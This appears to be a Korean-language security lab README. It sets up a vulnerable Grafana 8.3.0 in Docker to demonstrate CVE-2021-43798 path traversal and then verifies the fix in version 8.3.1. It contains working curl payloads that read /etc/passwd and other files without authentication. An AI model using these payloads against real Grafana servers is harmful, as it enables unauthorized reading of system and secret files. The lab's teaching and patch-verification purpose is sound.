
CVE-2021-43798 Grafana 인증되지 않은 경로 순회 - 보안 연구소 | Shivam Gupta | 23104003
교육용으로만 사용하세요. 이 실습은 격리된 로컬 머신에서만 실행하세요. 절대 인터넷에 노출하지 마세요.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2021-43798 |
| 제품 | Grafana |
| 영향받는 버전 | 8.0.0 – 8.3.0 |
| 패치된 버전 | 8.3.1+ |
| 심각도 | 높음 |
| CVSS v3.1 점수 | 7.5 |
| CWE | CWE-22 — 경로 순회 |
| 인증 필요 여부 | 없음 |
| 공격 벡터 | 네트워크 |
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta
docker compose up -d
확인:
curl http://127.0.0.1:3000/api/health
# Expected: "version": "8.3.0"
http://127.0.0.1:3000 을 여세요 — 로그인: admin / admin
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"
예상 결과: 인증 없이 HTTP 200과 함께 파일 내용이 반환됩니다.
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health
hostname이 반환되면 → 취약함. 버전 8.0.0–8.3.0 → 취약함.
패치된 인스턴스(Grafana 8.3.1) 시작:
docker compose -f docker-compose.patched.yml up -d
악용이 차단되었는지 확인:
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Expected: {"message": "Plugin file not found"}
docker compose down
docker compose -f docker-compose.patched.yml down